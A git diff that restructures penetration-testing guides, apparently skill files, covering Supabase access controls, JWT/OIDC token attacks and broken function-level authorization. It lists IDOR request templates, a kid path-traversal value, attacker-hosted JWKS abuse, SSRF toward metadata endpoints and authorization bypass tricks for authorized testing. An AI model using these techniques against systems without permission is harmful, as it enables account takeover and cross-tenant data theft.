- `Prefer: return=representation` — echo writes
|
||||||
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant; look for cross-tenant data.
|
- `Prefer: count=exact` — exposure via counts
|
||||||
- Export/report endpoints: confirm queries execute under caller scope; signed outputs must encode tenant and short TTL.
|
- `Accept-Profile`/`Content-Profile` — select schema
|
||||||
|
|
||||||
|
**IDOR Patterns**
|
||||||
|
```
|
||||||
|
/rest/v1/<table>?select=*&id=eq.<other_id>
|
||||||
|
/rest/v1/<table>?select=*&slug=eq.<other_slug>
|
||||||
|
/rest/v1/<table>?select=*&email=eq.<other_email>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Mass Assignment**
|
||||||
|
- If RPC not used, PATCH can update unintended columns
|
||||||
|
- Verify restricted columns via database permissions/policies
|
||||||
|
|
||||||
|
### RPC Functions
|
||||||
|
|
||||||
|
RPC endpoints map to SQL functions. `SECURITY DEFINER` bypasses RLS unless carefully coded; `SECURITY INVOKER` respects caller.
|
||||||
|
|
||||||
|
**Anti-Patterns**
|
||||||
|
- `SECURITY DEFINER` + missing owner checks → vertical/horizontal bypass
|
||||||
|
- `set search_path` left to public; function resolves unsafe objects
|
||||||
|
- Trusting client-supplied `user_id`/`tenant_id` rather than `auth.uid()`
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
```bash
|
||||||
|
# Call as different users with foreign IDs
|
||||||
|
POST /rest/v1/rpc/<fn> {"user_id": "<foreign_id>"}
|
||||||
|
|
||||||
|
# Remove JWT entirely
|
||||||
|
Authorization: Bearer <anon_token>
|
||||||
|
```
|
||||||
|
Verify functions perform explicit ownership/tenant checks inside SQL.
|
||||||
|
|
||||||
|
### Storage
|
||||||
|
|
||||||
|
**Buckets**
|
||||||
|
- Public vs private; objects in `storage.objects` with RLS-like policies
|
||||||
|
|
||||||
|
**Misconfigurations**
|
||||||
|
```bash
|
||||||
|
# Public bucket with sensitive data
|
||||||
|
GET /storage/v1/object/public/<bucket>/<path>
|
||||||
|
|
||||||
|
# List prefixes without auth
|
||||||
|
GET /storage/v1/object/list/<bucket>?prefix=
|
||||||
|
|
||||||
|
# Signed URL reuse across tenants/paths
|
||||||
|
```
|
||||||
|
|
||||||
|
**Content-Type Abuse**
|
||||||
|
- Upload HTML/SVG served as `text/html` or `image/svg+xml`
|
||||||
|
- Verify `X-Content-Type-Options: nosniff` and `Content-Disposition: attachment`
|
||||||
|
|
||||||
|
**Path Confusion**
|
||||||
|
- Mixed case, URL-encoding, `..` segments may be rejected at UI but accepted by API
|
||||||
|
- Test path normalization differences between client validation and server handling
|
||||||
|
|
||||||
|
### Realtime
|
||||||
|
|
||||||
|
**Endpoint**: `wss://<ref>.supabase.co/realtime/v1`
|
||||||
|
|
||||||
|
**Risks**
|
||||||
|
- Channel names derived from table/schema/filters leaking other users' updates when RLS or channel guards are weak
|
||||||
|
- Broadcast/presence channels allowing cross-room join/publish without auth
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Subscribe to `public:realtime` changes on protected tables; confirm visibility aligns with RLS
|
||||||
|
- Attempt joining other users' channels: `room:<user_id>`, `org:<org_id>`
|
||||||
|
|
||||||
|
### GraphQL
|
||||||
|
|
||||||
|
**Endpoint**: `/graphql/v1` using pg_graphql with RLS
|
||||||
|
|
||||||
|
**Risks**
|
||||||
|
- Introspection reveals schema relations
|
||||||
|
- Overfetch via nested relations where resolvers skip per-row ownership checks
|
||||||
|
- Global node IDs leaked and reusable via different viewers
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Compare REST vs GraphQL responses for same principal and query shape
|
||||||
|
- Query deep nested fields; verify RLS holds at each edge
|
||||||
|
|
||||||
|
### Auth & Tokens
|
||||||
|
|
||||||
|
GoTrue issues JWTs with claims (`sub=uid`, `role`, `aud=authenticated`).
|
||||||
|
|
||||||
|
**Verification Requirements**
|
||||||
|
- Issuer, audience, expiration, signature, tenant context
|
||||||
|
|
||||||
|
**Pitfalls**
|
||||||
|
- Storing tokens in localStorage → XSS exfiltration
|
||||||
|
- Treating `apikey` as identity (it's project-scoped, not user identity)
|
||||||
|
- Exposing `service_role` key in client bundle or Edge Function responses
|
||||||
|
- Refresh token mismanagement leading to long-lived sessions beyond intended TTL
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Replay tokens across services; check audience/issuer pinning
|
||||||
|
- Try downgraded tokens (expired/other audience) against custom endpoints
|
||||||
|
|
||||||
|
### Edge Functions
|
||||||
|
|
||||||
|
Deno-based functions often initialize Supabase client with `service_role`.
|
||||||
|
|
||||||
|
**Risks**
|
||||||
|
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience
|
||||||
|
- CORS: wildcard origins with credentials; reflected Authorization in responses
|
||||||
|
- SSRF via fetch; secrets exposed via error traces or logs
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Call functions with and without Authorization; compare behavior
|
||||||
|
- Try foreign resource IDs in payloads; verify server re-derives user/tenant from JWT
|
||||||
|
- Attempt to reach internal endpoints (metadata services) via function fetch
|
||||||
|
|
||||||
|
### Tenant Isolation
|
||||||
|
|
||||||
|
Ensure every query joins or filters by `tenant_id`/`org_id` derived from JWT context, not client input.
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant
|
||||||
|
- Export/report endpoints: confirm queries execute under caller scope
|
||||||
|
|
||||||
## Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data to hit different code paths.
|
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
||||||
- Parameter pollution: duplicate keys in JSON/query; PostgREST chooses last/first depending on parser.
|
- Parameter pollution: duplicate keys in JSON/query (PostgREST chooses last/first depending on parser)
|
||||||
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path.
|
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path
|
||||||
- Race windows: parallel writes to bypass post-insert ownership updates.
|
- Race windows: parallel writes to bypass post-insert ownership updates
|
||||||
|
|
||||||
## Blind Channels
|
## Blind Enumeration
|
||||||
|
|
||||||
- Use Prefer: count=exact and ETag/length diffs to infer unauthorized rows.
|
- Use `Prefer: count=exact` and ETag/length diffs to infer unauthorized rows
|
||||||
- Conditional requests (If-None-Match) to detect object existence without content exposure.
|
- Conditional requests (`If-None-Match`) to detect object existence
|
||||||
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens.
|
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens
|
||||||
|
|
||||||
## Tooling And Automation
|
## Testing Methodology
|
||||||
|
|
||||||
- PostgREST: httpie/curl + jq; enumerate tables with known names; fuzz filters (or=, ilike, neq, is.null).
|
1. **Inventory surfaces** - Map REST, Storage, GraphQL, Realtime, Auth, Functions endpoints
|
||||||
- GraphQL: graphql-inspector, voyager; build deep queries to test field-level enforcement; complexity/batching tests.
|
2. **Obtain principals** - Collect tokens for anon, user A/B, admin; check for `service_role` leaks
|
||||||
- Realtime: custom ws client; subscribe to suspicious channels/tables; diff payloads per principal.
|
3. **Build matrix** - Resource × Action × Principal
|
||||||
- Storage: enumerate bucket listing APIs; script signed URL generation/use patterns.
|
4. **REST vs GraphQL** - Test both to find parity gaps
|
||||||
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions.
|
5. **Seed IDs** - Start with list/search endpoints to gather IDs
|
||||||
- Policy diffing: maintain request sets per role and compare results across releases.
|
6. **Cross-principal** - Swap IDs, tenants, and transports across principals
|
||||||
|
|
||||||
## Reviewer Checklist
|
## Tooling
|
||||||
|
|
||||||
- Are all non-public tables RLS-enabled with explicit SELECT/INSERT/UPDATE/DELETE policies?
|
- PostgREST: httpie/curl + jq; enumerate tables; fuzz filters (`or=`, `ilike`, `neq`, `is.null`)
|
||||||
- Do policies derive subject/tenant from JWT (auth.uid(), tenant claim) rather than client payload?
|
- GraphQL: graphql-inspector, voyager; deep queries for field-level enforcement
|
||||||
- Do RPC functions run as SECURITY INVOKER, or if DEFINER, do they enforce ownership/tenant inside?
|
- Realtime: custom ws client; subscribe to suspicious channels; diff payloads per principal
|
||||||
- Are Storage buckets private by default, with short-lived signed URLs bound to tenant/context?
|
- Storage: enumerate bucket listing APIs; script signed URL patterns
|
||||||
- Does Realtime enforce RLS-equivalent filtering for subscriptions and block cross-room joins?
|
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions
|
||||||
- Is GraphQL parity verified with REST; are nested resolvers guarded per field?
|
- Policy diffing: maintain request sets per role; compare results across releases
|
||||||
- Are Edge Functions verifying JWT (issuer/audience) and never exposing service_role to clients?
|
|
||||||
- Are CDN/cache keys bound to Authorization/tenant to prevent cache leaks?
|
|
||||||
|
|
||||||
## Validation
|
## Validation Requirements
|
||||||
|
|
||||||
1. Provide owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata).
|
- Owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata)
|
||||||
2. Demonstrate a mis-scoped RPC or Storage signed URL usable by another user/tenant.
|
- Mis-scoped RPC or Storage signed URL usable by another user/tenant
|
||||||
3. Confirm Realtime or GraphQL exposure matches missing policy checks.
|
- Realtime or GraphQL exposure matching missing policy checks
|
||||||
4. Document minimal reproducible requests and role contexts used.
|
- Minimal reproducible requests with role contexts documented
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Tables intentionally public (documented) with non-sensitive content.
|
|
||||||
- RLS-enabled tables returning only caller-owned rows; mismatched UI not backed by API responses.
|
|
||||||
- Signed URLs with very short TTL and audience binding.
|
|
||||||
- Edge Functions verifying tokens and re-deriving context before acting.
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Cross-account/tenant data exposure and unauthorized state changes.
|
|
||||||
- Exfiltration of PII/PHI/PCI, financial and billing artifacts, private files.
|
|
||||||
- Privilege escalation via RPC and Edge Functions; durable access via long-lived tokens.
|
|
||||||
- Regulatory and contractual violations stemming from tenant isolation failures.
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Start with /rest/v1 list/search; counts and embeddings reveal policy drift fast.
|
|
||||||
2. Treat UUIDs and signed URLs as untrusted; validate binding to subject/tenant and TTL.
|
|
||||||
3. Focus on RPC and Edge Functions—they often centralize business logic and skip RLS.
|
|
||||||
4. Test GraphQL and Realtime parity with REST; differences are where vulnerabilities hide.
|
|
||||||
5. Keep role-separated request corpora and diff responses across deployments.
|
|
||||||
6. Never assume apikey == identity; only JWT binds subject. Prove it.
|
|
||||||
7. Prefer concise PoCs: one request per role that clearly shows the unauthorized delta.
|
|
||||||
|
|
||||||
## Remember
|
|
||||||
|
|
||||||
RLS must bind subject and tenant on every path, and server-side code (RPC/Edge) must re-derive identity from a verified token. Any gap in binding, audience/issuer verification, or per-field enforcement becomes a cross-account or cross-tenant vulnerability.
|
|
||||||
|
|||||||
@@ -1,38 +1,34 @@
|
|||||||
# AUTHENTICATION AND JWT/OIDC
|
---
|
||||||
|
name: authentication-jwt
|
||||||
|
description: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Authentication / JWT / OIDC
|
||||||
|
|
||||||
JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.
|
JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
||||||
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
||||||
- First-party and microservices verification, gateways, and JWKS distribution
|
- First-party and microservices verification, gateways, and JWKS distribution
|
||||||
|
|
||||||
## Methodology
|
## Reconnaissance
|
||||||
|
|
||||||
1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
|
|
||||||
2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
|
|
||||||
3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
|
|
||||||
4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
|
|
||||||
|
|
||||||
## Discovery Techniques
|
|
||||||
|
|
||||||
### Endpoints
|
### Endpoints
|
||||||
|
|
||||||
- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
|
- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration`
|
||||||
- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
|
- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS
|
||||||
- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
|
- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints
|
||||||
- App: /login, /callback, /refresh, /me, /session, /impersonate
|
- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate`
|
||||||
|
|
||||||
### Token Features
|
### Token Features
|
||||||
|
|
||||||
- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
|
- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
|
||||||
- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
|
- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
|
||||||
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
|
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option (`"b64":false`) and critical headers (`"crit"`)
|
||||||
|
|
||||||
## Exploitation Techniques
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Signature Verification
|
### Signature Verification
|
||||||
|
|
||||||
@@ -42,12 +38,12 @@ JWT/OIDC failures often enable token forgery, token confusion, cross-service acc
|
|||||||
|
|
||||||
### Header Manipulation
|
### Header Manipulation
|
||||||
|
|
||||||
- kid injection: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files
|
- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files
|
||||||
- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
||||||
- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
- **jwk header injection**: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
||||||
- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
|
- **SSRF via remote key fetch**: exploit JWKS URL fetching to reach internal hosts
|
||||||
|
|
||||||
### Key And Cache Issues
|
### Key and Cache Issues
|
||||||
|
|
||||||
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
||||||
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
||||||
@@ -60,20 +56,21 @@ JWT/OIDC failures often enable token forgery, token confusion, cross-service acc
|
|||||||
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
||||||
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
||||||
|
|
||||||
### Token Confusion And Oidc
|
### Token Confusion and OIDC
|
||||||
|
|
||||||
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
||||||
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
||||||
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
||||||
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login
|
||||||
|
- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
||||||
|
|
||||||
### Refresh And Session
|
### Refresh and Session
|
||||||
|
|
||||||
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
||||||
- Long-lived JWTs with no revocation: persistent access post-logout
|
- Long-lived JWTs with no revocation: persistent access post-logout
|
||||||
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
||||||
|
|
||||||
### Transport And Storage
|
### Transport and Storage
|
||||||
|
|
||||||
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
||||||
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
||||||
@@ -81,70 +78,79 @@ JWT/OIDC failures often enable token forgery, token confusion, cross-service acc
|
|||||||
|
|
||||||
## Advanced Techniques
|
## Advanced Techniques
|
||||||
|
|
||||||
### Microservices And Gateways
|
### Microservices and Gateways
|
||||||
|
|
||||||
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
||||||
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
||||||
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
||||||
|
|
||||||
### Jws Edge Cases
|
### JWS Edge Cases
|
||||||
|
|
||||||
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
||||||
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
||||||
|
|
||||||
### Special Contexts
|
## Special Contexts
|
||||||
|
|
||||||
#### Mobile
|
### Mobile
|
||||||
|
|
||||||
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
||||||
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
||||||
|
|
||||||
#### Sso Federation
|
### SSO Federation
|
||||||
|
|
||||||
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
||||||
|
|
||||||
### Chaining Attacks
|
## Chaining Attacks
|
||||||
|
|
||||||
- XSS → token theft → replay across services with weak audience checks
|
- XSS → token theft → replay across services with weak audience checks
|
||||||
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
||||||
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
||||||
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
||||||
|
|
||||||
### Validation
|
## Testing Methodology
|
||||||
|
|
||||||
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
|
1. **Inventory issuers/consumers** - Identity providers, API gateways, services, mobile/web clients
|
||||||
2. Demonstrate access token vs ID token confusion at an API.
|
2. **Capture tokens** - Access and ID tokens for multiple roles; note header, claims, signature
|
||||||
3. Prove refresh token reuse without rotation detection or revocation.
|
3. **Map verification endpoints** - `/.well-known`, `/jwks.json`
|
||||||
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
|
4. **Build matrix** - Token Type × Audience × Service; attempt cross-use
|
||||||
5. Provide owner vs non-owner evidence with identical requests differing only in token context.
|
5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), signatures
|
||||||
|
6. **Verify enforcement** - What is actually checked vs assumed
|
||||||
|
|
||||||
### False Positives
|
## Validation
|
||||||
|
|
||||||
|
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS)
|
||||||
|
2. Demonstrate access token vs ID token confusion at an API
|
||||||
|
3. Prove refresh token reuse without rotation detection or revocation
|
||||||
|
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control
|
||||||
|
5. Provide owner vs non-owner evidence with identical requests differing only in token context
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
- Token rejected due to strict audience/issuer enforcement
|
- Token rejected due to strict audience/issuer enforcement
|
||||||
- Key pinning with JWKS whitelist and TLS validation
|
- Key pinning with JWKS whitelist and TLS validation
|
||||||
- Short-lived tokens with rotation and revocation on logout
|
- Short-lived tokens with rotation and revocation on logout
|
||||||
- ID token not accepted by APIs that require access tokens
|
- ID token not accepted by APIs that require access tokens
|
||||||
|
|
||||||
### Impact
|
## Impact
|
||||||
|
|
||||||
- Account takeover and durable session persistence
|
- Account takeover and durable session persistence
|
||||||
- Privilege escalation via claim manipulation or cross-service acceptance
|
- Privilege escalation via claim manipulation or cross-service acceptance
|
||||||
- Cross-tenant or cross-application data access
|
- Cross-tenant or cross-application data access
|
||||||
- Token minting by attacker-controlled keys or endpoints
|
- Token minting by attacker-controlled keys or endpoints
|
||||||
|
|
||||||
### Pro Tips
|
## Pro Tips
|
||||||
|
|
||||||
1. Pin verification to issuer and audience; log and diff claim sets across services.
|
1. Pin verification to issuer and audience; log and diff claim sets across services
|
||||||
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
|
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk)
|
||||||
3. Test token reuse across all services; many backends only check signature, not audience/typ.
|
3. Test token reuse across all services; many backends only check signature, not audience/typ
|
||||||
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks.
|
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks
|
||||||
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up.
|
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up
|
||||||
6. Try DPoP/mTLS absence to replay tokens from different devices.
|
6. Try DPoP/mTLS absence to replay tokens from different devices
|
||||||
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping.
|
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping
|
||||||
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
|
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC
|
||||||
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
|
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access
|
||||||
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
|
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each
|
||||||
|
|
||||||
### Remember
|
## Summary
|
||||||
|
|
||||||
Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.
|
Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.
|
||||||
|
|||||||
@@ -1,10 +1,13 @@
|
|||||||
# BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)
|
---
|
||||||
|
name: broken-function-level-authorization
|
||||||
|
description: BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Broken Function Level Authorization (BFLA)
|
||||||
|
|
||||||
BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.
|
BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
||||||
- Feature gates: toggles enforced at edge/UI, not at core services
|
- Feature gates: toggles enforced at edge/UI, not at core services
|
||||||
@@ -12,14 +15,15 @@ BFLA is action-level authorization failure: callers invoke functions (endpoints,
|
|||||||
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
||||||
- Background workers/jobs performing actions without re-checking authz
|
- Background workers/jobs performing actions without re-checking authz
|
||||||
|
|
||||||
## Methodology
|
## High-Value Actions
|
||||||
|
|
||||||
1. Build an Actor × Action matrix with at least: unauth, basic, premium, staff/admin. Enumerate actions (create/update/delete, approve/cancel, impersonate, export, invite, role-change, credit/refund).
|
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
||||||
2. Obtain tokens/sessions for each role. Exercise every action across all transports and encodings (JSON, form, multipart), including method overrides.
|
- Approve/void/refund/credit issuance, price/plan overrides
|
||||||
3. Vary headers and contextual selectors (org/tenant/project) and test behavior behind gateway vs direct-to-service.
|
- Export/report generation, data deletion, account suspension/reactivation
|
||||||
4. Include background flows: job creation/finalization, webhooks, queues. Confirm re-validation of authz in consumers.
|
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
||||||
|
- Security settings: 2FA reset, email/phone verification overrides
|
||||||
|
|
||||||
## Discovery Techniques
|
## Reconnaissance
|
||||||
|
|
||||||
### Surface Enumeration
|
### Surface Enumeration
|
||||||
|
|
||||||
@@ -34,117 +38,117 @@ BFLA is action-level authorization failure: callers invoke functions (endpoints,
|
|||||||
- Actions succeed via background jobs when direct call is denied
|
- Actions succeed via background jobs when direct call is denied
|
||||||
- Changing only headers (role/org) alters access without token change
|
- Changing only headers (role/org) alters access without token change
|
||||||
|
|
||||||
### High Value Actions
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
### Verb Drift and Aliases
|
||||||
- Approve/void/refund/credit issuance, price/plan overrides
|
|
||||||
- Export/report generation, data deletion, account suspension/reactivation
|
|
||||||
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
|
||||||
- Security settings: 2FA reset, email/phone verification overrides
|
|
||||||
|
|
||||||
### Exploitation Techniques
|
|
||||||
|
|
||||||
#### Verb Drift And Aliases
|
|
||||||
|
|
||||||
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
||||||
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
||||||
|
|
||||||
#### Edge Vs Core Mismatch
|
### Edge vs Core Mismatch
|
||||||
|
|
||||||
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
||||||
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
||||||
|
|
||||||
#### Feature Flag Bypass
|
### Feature Flag Bypass
|
||||||
|
|
||||||
- Client-checked feature gates; call backend endpoints directly
|
- Client-checked feature gates; call backend endpoints directly
|
||||||
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
||||||
|
|
||||||
#### Batch Job Paths
|
### Batch Job Paths
|
||||||
|
|
||||||
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
||||||
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
||||||
|
|
||||||
#### Content Type Paths
|
### Content-Type Paths
|
||||||
|
|
||||||
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
||||||
|
|
||||||
### Advanced Techniques
|
## Advanced Techniques
|
||||||
|
|
||||||
#### Graphql
|
### GraphQL
|
||||||
|
|
||||||
